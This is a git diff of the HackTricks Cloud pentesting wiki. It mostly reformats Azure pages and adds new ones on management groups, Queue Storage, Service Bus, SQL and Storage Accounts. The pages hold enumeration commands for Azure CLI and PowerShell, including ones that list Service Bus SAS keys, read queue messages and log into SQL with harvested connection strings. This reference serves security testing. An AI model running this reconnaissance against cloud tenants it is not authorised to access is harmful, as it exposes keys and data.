-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#endtab }}
+{{#endtabs }}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md b/src/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
new file mode 100644
index 000000000..78ea357b7
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
@@ -0,0 +1,56 @@
+# Az - Management Groups, Subscriptions & Resource Groups
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Management Groups
+
+You can find more info about Management Groups in:
+
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+### Enumeration
+
+```bash
+# List
+az account management-group list
+# Get details and management groups and subscriptions that are children
+az account management-group show --name <name> --expand --recurse
+```
+
+## Subscriptions
+
+You can find more info about Subscriptions in:
+
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+### Enumeration
+
+```bash
+# List all subscriptions
+az account list --output table
+# Get details
+az account management-group subscription show --name <management group> --subscription <subscription>
+```
+
+## Resource Groups
+
+You can find more info about Resource Groups in:
+
+{{#ref}}
+../az-basic-information/
+{{#endref}}
+
+### Enumeration
+
+```bash
+# List all resource groups
+az group list
+# Get resource groups of specific subscription
+az group list --subscription "<subscription>" --output table
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md
new file mode 100644
index 000000000..a2ccb7cc9
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md
@@ -0,0 +1,95 @@
+# Az - Queue Storage
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
+
+### Enumeration
+
+{{#tabs }}
+{{#tab name="Az Cli" }}
+
+```bash
+# You need to know the --account-name of the storage (az storage account list)
+az storage queue list --account-name <storage_account>
+
+# Queue Metadata
+az storage queue metadata show --name <queue_name> --account-name <storage_account>
+
+#Get ACL
+az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
+
+# Get Messages (getting a message deletes it)
+az storage message get --queue-name <queue_name> --account-name <storage_account>
+
+# Peek Messages
+az storage message peek --queue-name <queue_name> --account-name <storage_account>
+```
+
+{{#endtab }}
+
+{{#tab name="Az PS" }}
+
+```bash
+# Get the Storage Context
+$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
+$ctx = $storageAccount.Context
+
+# Set Variables for Storage Account
+$storageAccountName = "queuestorageaccount"
+
+# List Queues
+Get-AzStorageQueue -Context $context
+$queueName = "myqueue"
+
+# Retrieve a specific queue
+$queue = Get-AzStorageQueue -Name $queueName -Context $context
+$queue # Show the properties of the queue
+
+# Retrieve the access policies for the queue
+$accessPolicies = Get-AzStorageQueueStoredAccessPolicy -Context $context -QueueName $queueName
+$accessPolicies
+
+# Peek Messages
+$queueMessage = $queue.QueueClient.PeekMessage()
+$queueMessage.Value
+
+# Set the amount of time you want to entry to be invisible after read from the queue
+# If it is not deleted by the end of this time, it will show up in the queue again
+$visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
+
+# Read the messages from the queue, then show the contents of the messages.
+$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
+$queueMessage.Value
+```
+
+{{#endtab }}
+{{#endtabs }}
+
+### Privilege Escalation
+
+{{#ref}}
+../az-privilege-escalation/az-queue-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../az-post-exploitation/az-queue-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../az-persistence/az-queue-persistance.md
+{{#endref}}
+
+## References
+
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
similarity index 54%
rename from pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
rename to src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
index f65b1df8c..9a2b8b490 100644
--- a/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
@@ -1,37 +1,25 @@
 # Az - Service Bus Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Service Bus
 
-Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access. 
+Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
 
 ### Key Concepts
 
 1. **Queues:** its purpose is to store messages until the receiver is ready.
-    - Messages are ordered, timestamped, and durably stored.
-    - Delivered in pull mode (on-demand retrieval).
-    - Supports point-to-point communication.
+   - Messages are ordered, timestamped, and durably stored.
+   - Delivered in pull mode (on-demand retrieval).
+   - Supports point-to-point communication.
 2. **Topics:** Publish-subscribe messaging for broadcasting.
-    - Multiple independent subscriptions receive copies of messages.
-    - Subscriptions can have rules/filters to control delivery or add metadata.
-    - Supports many-to-many communication.
+   - Multiple independent subscriptions receive copies of messages.
+   - Subscriptions can have rules/filters to control delivery or add metadata.
+   - Supports many-to-many communication.
 3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
 
 ### Advance Features
+
 Some advance features are:
 
 - **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
@@ -49,21 +37,20 @@ Some advance features are:
 
 SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
 
- - **Permissions**: Checkboxes to specify access levels:
-    - Manage: Grants full control over the entity, including configuration and permissions management.
-    - Send: Allows sending messages to the entity.
-    - Listen: Allows receiving messages from the entity.
- - **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
- - **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
- - **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
+- **Permissions**: Checkboxes to specify access levels:
+  - Manage: Grants full control over the entity, including configuration and permissions management.
+  - Send: Allows sending messages to the entity.
+  - Listen: Allows receiving messages from the entity.
+- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
+- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
+- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
 
 ### NameSpace
 
-sku, authrorization rule, 
+sku, authrorization rule,
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Queue Enumeration
 az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -91,33 +78,23 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
 az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
 az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
 ```
-{% endcode %}
 
 ### Privilege Escalation
 
-{% content-ref url="../az-services/az-servicebus-privesc.md" %}
-[az-servicebus-privesc.md](../az-services/az-servicebus-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-servicebus-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../az-post-exploitation/az-servicebus-post-exploitation.md" %}
-[az-servicebus-post-exploitation.md](../az-post-exploitation/az-servicebus-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-servicebus-post-exploitation.md
+{{#endref}}
 
 ## References
 
-* https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
-* https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
-* https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
+- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
+- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
+- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-sql.md b/src/pentesting-cloud/azure-security/az-services/az-sql.md
similarity index 70%
rename from pentesting-cloud/azure-security/az-services/az-sql.md
rename to src/pentesting-cloud/azure-security/az-services/az-sql.md
index f99fc4da5..91a4b2cb4 100644
--- a/pentesting-cloud/azure-security/az-services/az-sql.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-sql.md
@@ -1,21 +1,9 @@
 # Az - SQL
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Azure SQL
+
 Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
 
 Azure SQL consists of three main offerings:
@@ -30,58 +18,56 @@ Azure SQL consists of three main offerings:
 
 #### Key Features
 
-* **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
-* **PaaS Capabilities**: Built-in high availability, backups, and updates.
-* **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
+- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
+- **PaaS Capabilities**: Built-in high availability, backups, and updates.
+- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
 
 #### Purchasing Models / Service Tiers
 
-* **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
-* **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
-    * Standard: Balanced resources for common tasks.
-    * Premium: High performance for demanding workloads.
+- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
+- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
+  - Standard: Balanced resources for common tasks.
+  - Premium: High performance for demanding workloads.
 
 #### Deployment Models
 
 Azure SQL Database supports flexible deployment options to suit various needs:
 
-* **Single Database**:
-    * A fully isolated database with its own dedicated resources.
-    * Great for microservices or applications requiring a single data source.
-* **Elastic Pool**:
-    * Allows multiple databases to share resources within a pool.
-    * Cost-efficient for applications with fluctuating usage patterns across multiple databases.
+- **Single Database**:
+  - A fully isolated database with its own dedicated resources.
+  - Great for microservices or applications requiring a single data source.
+- **Elastic Pool**:
+  - Allows multiple databases to share resources within a pool.
+  - Cost-efficient for applications with fluctuating usage patterns across multiple databases.
 
 #### Scalable performance and pools
 
-* **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
-* **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
-* **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
-* **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
-
+- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
+- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
+- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
+- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
 
 #### Built-In Monitoring & Optimization
 
-* **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
-* **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
-* **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
+- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
+- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
+- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
 
 #### Disaster Recovery & Availavility
 
-* **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
-* **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
-* **Geo-Redundancy**
-* **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
+- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
+- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
+- **Geo-Redundancy**
+- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
 
 ### Azure SQL Managed Instance
 
-**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes. 
+**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
 
 #### Service Tiers
 
-* **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
-* **Business Critical**: High-performance option with low I/O latency for critical workloads.
-
+- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
+- **Business Critical**: High-performance option with low I/O latency for critical workloads.
 
 #### Advanced Security Features
 
@@ -109,15 +95,15 @@ Azure SQL Database supports flexible deployment options to suit various needs:
 
 ## Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs}}
+{{#tab name="az cli"}}
+
 ```bash
 # List Servers
 az sql server list # --output table
 ## List Server Usages
 az sql server list-usages --name <server_name> --resource-group <resource_group>
-## List Server Firewalls 
+## List Server Firewalls
 az sql server firewall-rule list --resource-group <resource_group> --server <server_name>
 ## List of Azure Active Directory administrators in a server.
 az sql server ad-admin list --resource-group <resource_group> --server <server_name>
@@ -178,11 +164,11 @@ az sql midb show --resource-group <res-grp> --name <name>
 az sql vm list
 az sql vm show --resource-group <res-grp> --name <name>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+
+{{#tab name="Az PowerShell"}}
+
 ```powershell
 # List Servers
 Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -220,15 +206,14 @@ Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <
 # Lis all sql VM
 Get-AzSqlVM
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab}}
+{{#endtabs}}
 
 ### Connect and run SQL queries
 
 You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
 
-{% code overflow="wrap" %}
 ```powershell
 function invoke-sql{
     param($query)
@@ -248,44 +233,29 @@ function invoke-sql{
 invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
 ```
 
-You can also use sqlcmd to access the database. It is important to know if the server allows public connections ```az sql server show --name <server-name> --resource-group <resource-group>```, and also if it the firewall rule let's our IP to access:
-{% code overflow="wrap" %}
+You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
+
 ```powershell
 sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
 ```
-{% endcode %}
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
-* [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
-* [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
-* [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
+- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
+- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
+- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
+- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
 
 ## Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-sql-privesc.md" %}
-[az-sql-privesc.md](../az-privilege-escalation/az-sql-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-sql-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../az-post-exploitation/az-sql-post-exploitation.md" %}
-[az-sql-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-sql-post-exploitation.md
+{{#endref}}
 
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md
similarity index 62%
rename from pentesting-cloud/azure-security/az-services/az-storage.md
rename to src/pentesting-cloud/azure-security/az-services/az-storage.md
index 9a26f4fbf..1f7427324 100644
--- a/pentesting-cloud/azure-security/az-services/az-storage.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md
@@ -1,19 +1,6 @@
 # Az - Storage Accounts & Blobs
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,48 +8,48 @@ Azure Storage Accounts are fundamental services in Microsoft Azure that provide
 
 **Main configuration options**:
 
-* Every storage account must have a **uniq name across all Azure**.
-* Every storage account is deployed in a **region** or in an Azure extended zone
-* It's possible to select the **premium** version of the storage account for better performance
-* It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
+- Every storage account must have a **uniq name across all Azure**.
+- Every storage account is deployed in a **region** or in an Azure extended zone
+- It's possible to select the **premium** version of the storage account for better performance
+- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
 
 **Security configuration options**:
 
-* **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
-* **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
-* **Enable storage account key access**: If not, access with Shared Keys will be forbidden
-* **Minimum TLS version**
-* **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
+- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
+- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
+- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
+- **Minimum TLS version**
+- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
 
 **Blob Storage options**:
 
-* **Allow cross-tenant replication**
-* **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
+- **Allow cross-tenant replication**
+- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
 
 **Networking options**:
 
-* **Network access**:
-  * Allow from all networks
-  * Allow from selected virtual networks and IP addresses
-  * Disable public access and use private access
-* **Private endpoints**: It allows a private connection to the storage account from a virtual network
+- **Network access**:
+  - Allow from all networks
+  - Allow from selected virtual networks and IP addresses
+  - Disable public access and use private access
+- **Private endpoints**: It allows a private connection to the storage account from a virtual network
 
 **Data protection options**:
 
-* **Point-in-time restore for containers**: Allows to restore containers to an earlier state
-  * It requires versioning, change feed, and blob soft delete to be enabled.
-* **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
-* **Enable soft delete for containers**: It enables a retention period in days for deleted containers
-* **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
-* **Enable versioning for blobs**: Maintain previous versions of your blobs
-* **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
-* **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
-  * Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
+- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
+  - It requires versioning, change feed, and blob soft delete to be enabled.
+- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
+- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
+- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
+- **Enable versioning for blobs**: Maintain previous versions of your blobs
+- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
+- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
+  - Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
 
 **Encryption configuration options**:
 
-* **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
-* **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
+- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
+- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
 
 ### Storage endpoints
 
@@ -72,9 +59,9 @@ Azure Storage Accounts are fundamental services in Microsoft Azure that provide
 
 If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
 
-* Give **public access to read blobs** (you need to know the name).
-* **List container blobs** and **read** them.
-* Make it fully **private**
+- Give **public access to read blobs** (you need to know the name).
+- **List container blobs** and **read** them.
+- Make it fully **private**
 
